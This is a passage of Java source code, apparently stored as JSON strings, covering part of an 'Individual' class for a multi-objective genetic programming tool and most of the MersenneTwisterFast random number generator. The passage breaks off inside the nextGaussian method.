FitnessComparisonStandardizer.getFitnessForMinimization(this, fitnessKey,fitnessFunctions);\n // normalize \n Double normalizedStandardizedFitness = (standardizedFitness - standardizedMins.get(fitnessKey)) / standardizedRanges.get(fitnessKey);\n // add to euclidean distance\n euclideanDistance += Math.pow(normalizedStandardizedFitness,2);\n }\n }\n\t\n /**\n * return crowding distance\n * @return \n */\n public Double getCrowdingDistance() {\n return this.crowdingDistance;\n }\n\n /**\n * Set crowding distance\n * @param newCrowdingDistance \n */\n public void setCrowdingDistance(Double newCrowdingDistance) {\n this.crowdingDistance = newCrowdingDistance;\n }\n\n /**\n * Update the crowding distance of this individual with information from a new fitness function\n * @param localCrowdingDistance\n */\n public void updateCrowdingDistance(Double localCrowdingDistance) {\n crowdingDistance *= localCrowdingDistance;\n }\n\n /**\n * return domination count\n * @return \n */\n public Integer getDominationCount() {\n return dominationCount;\n }\n\n /**\n * increment domination count\n */\n public void incrementDominationCount() {\n dominationCount++;\n }\n\n /**\n * set domination count\n * @param dominationCount \n */\n public void setDominationCount(Integer dominationCount) {\n this.dominationCount = dominationCount;\n }\n\n /**\n * get threshold\n * @return \n */\n public double getThreshold(){\n return threshold;\n }\n \n /**\n * set threshold\n * @param aThreshold \n */\n public void setThreshold(double aThreshold){\n threshold = aThreshold;\n }\t\n\n /**\n * get area under the ROC curve on validation data\n * @return \n */\n public double getCrossValAreaROC(){\n return crossValAreaROC;\n }\n\n /**\n * set auc on validation data\n * @param anArea \n */\n public void setCrossValAreaROC(double anArea){\n crossValAreaROC = anArea;\n }\n\n /**\n * Clear any nonessential memorized values\n */\n public void reset() {\n euclideanDistance = Double.MAX_VALUE;\n crowdingDistance = 0.0;\n dominationCount = 0;\n RT_Cost = 0;\n }\n\t\n /**\n * return whether 2 individuals are equal\n * @param i\n * @return \n */\n public Boolean equals(Individual i){\n if (!this.getGenotype().equals(i.getGenotype())){\n return false;\n } else{ // g and p are equal, check fitnesses\n return (this.getFitnesses().equals(i.getFitnesses()));\n }\n }\n\n /**\n * @return unscaled MATLAB infix string\n */\n @Override\n public String toString() {\n return this.genotype.toString();\n }\n\n /**\n * @param shouldRound\n * @return scaled MATLAB infix string, with appropriate rounding if necessary\n */\n public String toScaledString(boolean shouldRound) {\n String scaledModel = ((Tree) this.genotype).toScaledString();\n return (shouldRound) ? \"round(\" + scaledModel + \")\" : scaledModel ;\n }\n \n /**\n * get final string representation\n * @param shouldRound\n * @return \n */\n public String toFinalScaledString(boolean shouldRound) {\n String scaledModel = ((Tree) this.genotype).toFinalScaledString();\n return (shouldRound) ? \"round(\" + scaledModel + \")\" : scaledModel ;\n }\n\n /**\n * get scaled string representation\n * @return \n */\n public String toScaledString() {\n return toScaledString(false);\n }\n \n /**\n * get final scaled representation\n * @return \n */\n public String toFinalScaledString() {\n return toFinalScaledString(false);\n }\n\n /**\n * set fitness on validatio data\n * @param aFitness \n */\n public void setScaledCrossValFitness(double aFitness){\n this.crossValFitness = aFitness;\n }\n\n /**\n * get fitness on validation data\n * @return \n */\n public double getCrossValFitness(){\n return crossValFitness;\n }\n\n /**\n * set MSE of the scaled model\n * @param aMSE \n */\n public void setScaledMSE(double aMSE){\n scaledMSE = aMSE;\n }\n\n /**\n * get MSE of the scaled model\n * @return \n */\n public double getScaledMSE(){\n return scaledMSE;\n }\n \n /**\n * set MAE of scaled model\n * @param aMAE \n */\n public void setScaledMAE(double aMAE){\n scaledMAE = aMAE;\n }\n\n /**\n * get MAE of the scaled value\n * @return \n */\n public double getScaledMAE(){\n return scaledMAE;\n }\n\n\n /**\n * @return the minTrainOutput\n */\n public double getMinTrainOutput() {\n return minTrainOutput;\n }\n\n /**\n * @param minTrainOutput the minTrainOutput to set\n */\n public void setMinTrainOutput(double minTrainOutput) {\n this.minTrainOutput = minTrainOutput;\n }\n\n /**\n * @return the maxTrainOutput\n */\n public double getMaxTrainOutput() {\n return maxTrainOutput;\n }\n\n /**\n * @param maxTrainOutput the maxTrainOutput to set\n */\n public void setMaxTrainOutput(double maxTrainOutput) {\n this.maxTrainOutput = maxTrainOutput;\n }\n \n\n /**\n * Set LASSO weights\n * @param aWeights \n */\n public void setWeights(ArrayList<String> aWeights){\n weights = aWeights;\n }\n\n /**\n * get LASSO weights\n * @return \n */\n public ArrayList<String> getWeights(){\n return weights;\n }\n \n /**\n * get intercept\n * @return \n */\n public String getLassoIntercept(){\n return lassoIntercept;\n }\n \n /**\n * set intercept\n * @param aLassoIntercept \n */\n public void setLassoIntercept(String aLassoIntercept){\n lassoIntercept = aLassoIntercept;\n }\n}", "public strictfp class MersenneTwisterFast implements Serializable, Cloneable\n {\n // Serialization\n private static final long serialVersionUID = -8219700664442619525L; // locked as of Version 15\n \n // Period parameters\n private static final int N = 624;\n private static final int M = 397;\n private static final int MATRIX_A = 0x9908b0df; // private static final * constant vector a\n private static final int UPPER_MASK = 0x80000000; // most significant w-r bits\n private static final int LOWER_MASK = 0x7fffffff; // least significant r bits\n\n\n // Tempering parameters\n private static final int TEMPERING_MASK_B = 0x9d2c5680;\n private static final int TEMPERING_MASK_C = 0xefc60000;\n \n private int mt[]; // the array for the state vector\n private int mti; // mti==N+1 means mt[N] is not initialized\n private int mag01[];\n \n // a good initial seed (of int size, though stored in a long)\n //private static final long GOOD_SEED = 4357;\n\n private double __nextNextGaussian;\n private boolean __haveNextNextGaussian;\n \n /* We're overriding all internal data, to my knowledge, so this should be okay */\n public Object clone()\n {\n try\n {\n MersenneTwisterFast f = (MersenneTwisterFast)(super.clone());\n f.mt = (int[])(mt.clone());\n f.mag01 = (int[])(mag01.clone());\n return f;\n }\n catch (CloneNotSupportedException e) { throw new InternalError(); } // should never happen\n }\n \n public boolean stateEquals(Object o)\n {\n if (o==this) return true;\n if (o == null || !(o instanceof MersenneTwisterFast))\n return false;\n MersenneTwisterFast other = (MersenneTwisterFast) o;\n if (mti != other.mti) return false;\n for(int x=0;x<mag01.length;x++)\n if (mag01[x] != other.mag01[x]) return false;\n for(int x=0;x<mt.length;x++)\n if (mt[x] != other.mt[x]) return false;\n return true;\n }\n\n /** Reads the entire state of the MersenneTwister RNG from the stream */\n public void readState(DataInputStream stream) throws IOException\n {\n int len = mt.length;\n for(int x=0;x<len;x++) mt[x] = stream.readInt();\n \n len = mag01.length;\n for(int x=0;x<len;x++) mag01[x] = stream.readInt();\n \n mti = stream.readInt();\n __nextNextGaussian = stream.readDouble();\n __haveNextNextGaussian = stream.readBoolean();\n }\n \n /** Writes the entire state of the MersenneTwister RNG to the stream */\n public void writeState(DataOutputStream stream) throws IOException\n {\n int len = mt.length;\n for(int x=0;x<len;x++) stream.writeInt(mt[x]);\n \n len = mag01.length;\n for(int x=0;x<len;x++) stream.writeInt(mag01[x]);\n \n stream.writeInt(mti);\n stream.writeDouble(__nextNextGaussian);\n stream.writeBoolean(__haveNextNextGaussian);\n }\n\n /**\n * Constructor using the default seed.\n */\n public MersenneTwisterFast()\n {\n this(System.currentTimeMillis());\n }\n \n /**\n * Constructor using a given seed. Though you pass this seed in\n * as a long, it's best to make sure it's actually an integer.\n *\n */\n public MersenneTwisterFast(long seed)\n {\n setSeed(seed);\n }\n \n\n /**\n * Constructor using an array of integers as seed.\n * Your array must have a non-zero length. Only the first 624 integers\n * in the array are used; if the array is shorter than this then\n * integers are repeatedly used in a wrap-around fashion.\n */\n public MersenneTwisterFast(int[] array)\n {\n setSeed(array);\n }\n\n\n /**\n * Initalize the pseudo random number generator. Don't\n * pass in a long that's bigger than an int (Mersenne Twister\n * only uses the first 32 bits for its seed). \n */\n\n synchronized public void setSeed(long seed)\n {\n // Due to a bug in java.util.Random clear up to 1.2, we're\n // doing our own Gaussian variable.\n __haveNextNextGaussian = false;\n\n mt = new int[N];\n \n mag01 = new int[2];\n mag01[0] = 0x0;\n mag01[1] = MATRIX_A;\n\n mt[0]= (int)(seed & 0xffffffff);\n for (mti=1; mti<N; mti++) \n {\n mt[mti] = \n (1812433253 * (mt[mti-1] ^ (mt[mti-1] >>> 30)) + mti); \n /* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */\n /* In the previous versions, MSBs of the seed affect */\n /* only MSBs of the array mt[]. */\n /* 2002/01/09 modified by Makoto Matsumoto */\n // mt[mti] &= 0xffffffff;\n /* for >32 bit machines */\n }\n }\n\n\n /**\n * Sets the seed of the MersenneTwister using an array of integers.\n * Your array must have a non-zero length. Only the first 624 integers\n * in the array are used; if the array is shorter than this then\n * integers are repeatedly used in a wrap-around fashion.\n */\n\n synchronized public void setSeed(int[] array)\n {\n if (array.length == 0)\n throw new IllegalArgumentException(\"Array length must be greater than zero\");\n int i, j, k;\n setSeed(19650218);\n i=1; j=0;\n k = (N>array.length ? N : array.length);\n for (; k!=0; k--) \n {\n mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >>> 30)) * 1664525)) + array[j] + j; /* non linear */\n // mt[i] &= 0xffffffff; /* for WORDSIZE > 32 machines */\n i++;\n j++;\n if (i>=N) { mt[0] = mt[N-1]; i=1; }\n if (j>=array.length) j=0;\n }\n for (k=N-1; k!=0; k--) \n {\n mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >>> 30)) * 1566083941)) - i; /* non linear */\n // mt[i] &= 0xffffffff; /* for WORDSIZE > 32 machines */\n i++;\n if (i>=N) \n {\n mt[0] = mt[N-1]; i=1; \n }\n }\n mt[0] = 0x80000000; /* MSB is 1; assuring non-zero initial array */ \n }\n\n\n public int nextInt()\n {\n int y;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n return y;\n }\n\n\n\n public short nextShort()\n {\n int y;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n return (short)(y >>> 16);\n }\n\n\n\n public char nextChar()\n {\n int y;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n return (char)(y >>> 16);\n }\n\n\n public boolean nextBoolean()\n {\n int y;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n return (boolean)((y >>> 31) != 0);\n }\n\n\n\n /** This generates a coin flip with a probability <tt>probability</tt>\n of returning true, else returning false. <tt>probability</tt> must\n be between 0.0 and 1.0, inclusive. Not as precise a random real\n event as nextBoolean(double), but twice as fast. To explicitly\n use this, remember you may need to cast to float first. */\n\n public boolean nextBoolean(float probability)\n {\n int y;\n \n if (probability < 0.0f || probability > 1.0f)\n throw new IllegalArgumentException (\"probability must be between 0.0 and 1.0 inclusive.\");\n if (probability==0.0f) return false; // fix half-open issues\n else if (probability==1.0f) return true; // fix half-open issues\n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n return (y >>> 8) / ((float)(1 << 24)) < probability;\n }\n\n\n /** This generates a coin flip with a probability <tt>probability</tt>\n of returning true, else returning false. <tt>probability</tt> must\n be between 0.0 and 1.0, inclusive. */\n\n public boolean nextBoolean(double probability)\n {\n int y;\n int z;\n\n if (probability < 0.0 || probability > 1.0)\n throw new IllegalArgumentException (\"probability must be between 0.0 and 1.0 inclusive.\");\n if (probability==0.0) return false; // fix half-open issues\n else if (probability==1.0) return true; // fix half-open issues\n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n z = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (z >>> 1) ^ mag01[z & 0x1];\n \n mti = 0;\n }\n \n z = mt[mti++];\n z ^= z >>> 11; // TEMPERING_SHIFT_U(z)\n z ^= (z << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(z)\n z ^= (z << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(z)\n z ^= (z >>> 18); // TEMPERING_SHIFT_L(z)\n \n /* derived from nextDouble documentation in jdk 1.2 docs, see top */\n return ((((long)(y >>> 6)) << 27) + (z >>> 5)) / (double)(1L << 53) < probability;\n }\n\n\n public byte nextByte()\n {\n int y;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n return (byte)(y >>> 24);\n }\n\n\n public void nextBytes(byte[] bytes)\n {\n int y;\n \n for (int x=0;x<bytes.length;x++)\n {\n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n \n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n bytes[x] = (byte)(y >>> 24);\n }\n }\n\n\n public long nextLong()\n {\n int y;\n int z;\n\n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n z = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (z >>> 1) ^ mag01[z & 0x1];\n \n mti = 0;\n }\n \n z = mt[mti++];\n z ^= z >>> 11; // TEMPERING_SHIFT_U(z)\n z ^= (z << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(z)\n z ^= (z << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(z)\n z ^= (z >>> 18); // TEMPERING_SHIFT_L(z)\n \n return (((long)y) << 32) + (long)z;\n }\n\n\n\n /** Returns a long drawn uniformly from 0 to n-1. Suffice it to say,\n n must be > 0, or an IllegalArgumentException is raised. */\n public long nextLong(long n)\n {\n if (n<=0)\n throw new IllegalArgumentException(\"n must be positive, got: \" + n);\n \n long bits, val;\n do \n {\n int y;\n int z;\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n \n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n \n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n z = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (z >>> 1) ^ mag01[z & 0x1];\n \n mti = 0;\n }\n \n z = mt[mti++];\n z ^= z >>> 11; // TEMPERING_SHIFT_U(z)\n z ^= (z << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(z)\n z ^= (z << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(z)\n z ^= (z >>> 18); // TEMPERING_SHIFT_L(z)\n \n bits = (((((long)y) << 32) + (long)z) >>> 1);\n val = bits % n;\n } while (bits - val + (n-1) < 0);\n return val;\n }\n\n /** Returns a random double in the half-open range from [0.0,1.0). Thus 0.0 is a valid\n result but 1.0 is not. */\n public double nextDouble()\n {\n int y;\n int z;\n\n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n y = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (y >>> 1) ^ mag01[y & 0x1];\n }\n y = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (y >>> 1) ^ mag01[y & 0x1];\n\n mti = 0;\n }\n \n y = mt[mti++];\n y ^= y >>> 11; // TEMPERING_SHIFT_U(y)\n y ^= (y << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(y)\n y ^= (y << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(y)\n y ^= (y >>> 18); // TEMPERING_SHIFT_L(y)\n\n if (mti >= N) // generate N words at one time\n {\n int kk;\n final int[] mt = this.mt; // locals are slightly faster \n final int[] mag01 = this.mag01; // locals are slightly faster \n \n for (kk = 0; kk < N - M; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+M] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n for (; kk < N-1; kk++)\n {\n z = (mt[kk] & UPPER_MASK) | (mt[kk+1] & LOWER_MASK);\n mt[kk] = mt[kk+(M-N)] ^ (z >>> 1) ^ mag01[z & 0x1];\n }\n z = (mt[N-1] & UPPER_MASK) | (mt[0] & LOWER_MASK);\n mt[N-1] = mt[M-1] ^ (z >>> 1) ^ mag01[z & 0x1];\n \n mti = 0;\n }\n \n z = mt[mti++];\n z ^= z >>> 11; // TEMPERING_SHIFT_U(z)\n z ^= (z << 7) & TEMPERING_MASK_B; // TEMPERING_SHIFT_S(z)\n z ^= (z << 15) & TEMPERING_MASK_C; // TEMPERING_SHIFT_T(z)\n z ^= (z >>> 18); // TEMPERING_SHIFT_L(z)\n \n /* derived from nextDouble documentation in jdk 1.2 docs, see top */\n return ((((long)(y >>> 6)) << 27) + (z >>> 5)) / (double)(1L << 53);\n }\n\n\n\n /** Returns a double in the range from 0.0 to 1.0, possibly inclusive of 0.0 and 1.0 themselves. Thus:\n\n <p><table border=0>\n <th><td>Expression<td>Interval\n <tr><td>nextDouble(false, false)<td>(0.0, 1.0)\n <tr><td>nextDouble(true, false)<td>[0.0, 1.0)\n <tr><td>nextDouble(false, true)<td>(0.0, 1.0]\n <tr><td>nextDouble(true, true)<td>[0.0, 1.0]\n </table>\n \n <p>This version preserves all possible random values in the double range.\n */\n public double nextDouble(boolean includeZero, boolean includeOne)\n {\n double d = 0.0;\n do\n {\n d = nextDouble(); // grab a value, initially from half-open [0.0, 1.0)\n if (includeOne && nextBoolean()) d += 1.0; // if includeOne, with 1/2 probability, push to [1.0, 2.0)\n } \n while ( (d > 1.0) || // everything above 1.0 is always invalid\n (!includeZero && d == 0.0)); // if we're not including zero, 0.0 is invalid\n return d;\n }\n\n\n\n public double nextGaussian()\n {\n if (__haveNextNextGaussian)\n {\n __haveNextNextGaussian = false;\n return __nextNextGaussian;\n } \n else \n {\n double v1, v2, s;\n do \n { \n int y;\n int z;\n int a;\n int b;\n \n if (mti >= N) // generate N words at one time\n {\n int 